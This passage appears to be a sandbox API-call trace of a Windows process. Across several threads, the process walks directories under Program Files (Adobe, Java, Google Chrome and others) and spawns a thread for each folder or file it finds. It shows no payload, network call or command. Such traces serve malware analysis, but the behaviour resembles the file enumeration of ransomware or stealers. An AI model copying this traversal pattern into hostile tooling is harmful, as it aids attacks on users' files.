1 [0086.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x18d0e0 [0086.290] wcscpy (in: _Dest=0x18d0e0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0086.290] wcscat (in: _Dest=0x18d0e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0086.290] wcscat (in: _Dest=0x18d0e0, _Source="Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0097.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x18d0e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb58 [0097.290] FindNextFileW (in: hFindFile=0x1b8590f0, lpFindFileData=0x1b86ac50 | out: lpFindFileData=0x1b86ac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0097.290] wcscmp (_String1="ARM", _String2=".") returned 1 [0097.290] wcscmp (_String1="ARM", _String2="..") returned 1 [0097.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c1b80 [0097.290] wcscpy (in: _Dest=0x1b7c1b80, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0097.290] wcscat (in: _Dest=0x1b7c1b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0097.290] wcscat (in: _Dest=0x1b7c1b80, _Source="ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0097.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4c [0097.291] FindNextFileW (in: hFindFile=0x1b8590f0, lpFindFileData=0x1b86ac50 | out: lpFindFileData=0x1b86ac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 1 [0097.291] wcscmp (_String1="HelpCfg", _String2=".") returned 1 [0097.291] wcscmp (_String1="HelpCfg", _String2="..") returned 1 [0097.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c2590 [0097.291] wcscpy (in: _Dest=0x1b7c2590, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0097.291] wcscat (in: _Dest=0x1b7c2590, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0097.291] wcscat (in: _Dest=0x1b7c2590, _Source="HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0097.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb48 [0097.292] FindNextFileW (in: hFindFile=0x1b8590f0, lpFindFileData=0x1b86ac50 | out: lpFindFileData=0x1b86ac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 0 [0097.292] FindClose (in: hFindFile=0x1b8590f0 | out: hFindFile=0x1b8590f0) returned 1 [0097.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ac50) returned 1 [0097.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859090) returned 1 [0097.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858490) returned 1 Thread: id = 158 os_tid = 0x290 [0086.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b859150 [0086.291] wcscpy (in: _Dest=0x1b859150, _Source="C:\\Program Files (x86)\\Common Files\\Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0086.291] wcscat (in: _Dest=0x1b859150, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\" [0086.291] wcscat (in: _Dest=0x1b859150, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\*") returned="C:\\Program Files (x86)\\Common Files\\Java\\*" [0086.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b86bec0 [0086.291] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x1b86bec0 | out: lpFindFileData=0x1b86bec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8591b0 [0086.292] wcscmp (_String1=".", _String2=".") returned 0 [0086.292] FindNextFileW (in: hFindFile=0x1b8591b0, lpFindFileData=0x1b86bec0 | out: lpFindFileData=0x1b86bec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.292] wcscmp (_String1="..", _String2=".") returned 1 [0086.292] wcscmp (_String1="..", _String2="..") returned 0 [0086.292] FindNextFileW (in: hFindFile=0x1b8591b0, lpFindFileData=0x1b86bec0 | out: lpFindFileData=0x1b86bec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0086.292] wcscmp (_String1="Java Update", _String2=".") returned 1 [0086.292] wcscmp (_String1="Java Update", _String2="..") returned 1 [0086.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85e290 [0086.292] wcscpy (in: _Dest=0x1b85e290, _Source="C:\\Program Files (x86)\\Common Files\\Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0086.292] wcscat (in: _Dest=0x1b85e290, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\" [0086.292] wcscat (in: _Dest=0x1b85e290, _Source="Java Update" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0097.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4 [0097.404] FindNextFileW (in: hFindFile=0x1b8591b0, lpFindFileData=0x1b86bec0 | out: lpFindFileData=0x1b86bec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0097.404] FindClose (in: hFindFile=0x1b8591b0 | out: hFindFile=0x1b8591b0) returned 1 [0097.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bec0) returned 1 [0097.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859150) returned 1 [0097.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8584f0) returned 1 Thread: id = 159 os_tid = 0x79c [0086.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x17f0d0 [0086.298] wcscpy (in: _Dest=0x17f0d0, _Source="C:\\Program Files (x86)\\Common Files\\Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0086.298] wcscat (in: _Dest=0x17f0d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\") returned="C:\\Program Files (x86)\\Common Files\\Services\\" [0086.299] wcscat (in: _Dest=0x17f0d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\*") returned="C:\\Program Files (x86)\\Common Files\\Services\\*" [0086.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd600b0 [0086.301] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859210 [0086.302] wcscmp (_String1=".", _String2=".") returned 0 [0086.302] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.303] wcscmp (_String1="..", _String2=".") returned 1 [0086.303] wcscmp (_String1="..", _String2="..") returned 0 [0086.303] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0086.303] wcscmp (_String1="verisign.bmp", _String2=".") returned 1 [0086.303] wcscmp (_String1="verisign.bmp", _String2="..") returned 1 [0086.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85e310 [0086.303] wcscpy (in: _Dest=0x1b85e310, _Source="C:\\Program Files (x86)\\Common Files\\Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0086.303] wcscat (in: _Dest=0x1b85e310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\") returned="C:\\Program Files (x86)\\Common Files\\Services\\" [0086.303] wcscat (in: _Dest=0x1b85e310, _Source="verisign.bmp" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0097.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde8 [0097.189] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0097.189] FindClose (in: hFindFile=0x1b859210 | out: hFindFile=0x1b859210) returned 1 [0097.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd600b0) returned 1 [0097.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17f0d0) returned 1 [0097.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1d40) returned 1 Thread: id = 160 os_tid = 0x244 [0086.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e170 [0086.307] wcscpy (in: _Dest=0x1b86e170, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0086.307] wcscat (in: _Dest=0x1b86e170, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0086.307] wcscat (in: _Dest=0x1b86e170, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*" [0086.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60320 [0086.307] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859270 [0086.307] wcscmp (_String1=".", _String2=".") returned 0 [0086.308] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.308] wcscmp (_String1="..", _String2=".") returned 1 [0086.308] wcscmp (_String1="..", _String2="..") returned 0 [0086.308] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0086.308] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0086.308] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0086.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e390 [0086.308] wcscpy (in: _Dest=0x1b85e390, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0086.308] wcscat (in: _Dest=0x1b85e390, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0086.308] wcscat (in: _Dest=0x1b85e390, _Source="Microsoft" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0097.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0 [0097.191] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0097.191] FindClose (in: hFindFile=0x1b859270 | out: hFindFile=0x1b859270) returned 1 [0097.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60320) returned 1 [0097.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e170) returned 1 [0097.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1db0) returned 1 Thread: id = 161 os_tid = 0x60c [0086.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b8592d0 [0086.309] wcscpy (in: _Dest=0x1b8592d0, _Source="C:\\Program Files (x86)\\Google\\Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome" [0086.309] wcscat (in: _Dest=0x1b8592d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\" [0086.309] wcscat (in: _Dest=0x1b8592d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\*" [0086.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60590 [0086.310] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859330 [0086.310] wcscmp (_String1=".", _String2=".") returned 0 [0086.310] FindNextFileW (in: hFindFile=0x1b859330, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.310] wcscmp (_String1="..", _String2=".") returned 1 [0086.310] wcscmp (_String1="..", _String2="..") returned 0 [0086.310] FindNextFileW (in: hFindFile=0x1b859330, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 1 [0086.310] wcscmp (_String1="Application", _String2=".") returned 1 [0086.310] wcscmp (_String1="Application", _String2="..") returned 1 [0086.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e1e0 [0086.310] wcscpy (in: _Dest=0x1b86e1e0, _Source="C:\\Program Files (x86)\\Google\\Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome" [0086.311] wcscat (in: _Dest=0x1b86e1e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\" [0086.311] wcscat (in: _Dest=0x1b86e1e0, _Source="Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0097.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4 [0097.193] FindNextFileW (in: hFindFile=0x1b859330, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0 [0097.193] FindClose (in: hFindFile=0x1b859330 | out: hFindFile=0x1b859330) returned 1 [0097.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60590) returned 1 [0097.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8592d0) returned 1 [0097.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858550) returned 1 Thread: id = 162 os_tid = 0x7a4 [0086.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e250 [0086.316] wcscpy (in: _Dest=0x1b86e250, _Source="C:\\Program Files (x86)\\Google\\CrashReports" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports" [0086.316] wcscat (in: _Dest=0x1b86e250, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports\\") returned="C:\\Program Files (x86)\\Google\\CrashReports\\" [0086.316] wcscat (in: _Dest=0x1b86e250, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports\\*") returned="C:\\Program Files (x86)\\Google\\CrashReports\\*" [0086.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60800 [0086.316] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859390 [0086.317] wcscmp (_String1=".", _String2=".") returned 0 [0086.317] FindNextFileW (in: hFindFile=0x1b859390, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.317] wcscmp (_String1="..", _String2=".") returned 1 [0086.317] wcscmp (_String1="..", _String2="..") returned 0 [0086.317] FindNextFileW (in: hFindFile=0x1b859390, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.317] FindClose (in: hFindFile=0x1b859390 | out: hFindFile=0x1b859390) returned 1 [0086.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60800) returned 1 [0086.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e250) returned 1 [0086.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8585b0) returned 1 Thread: id = 163 os_tid = 0x7cc [0086.331] RtlAllocateHeap (HeapHandle=0xa0000, 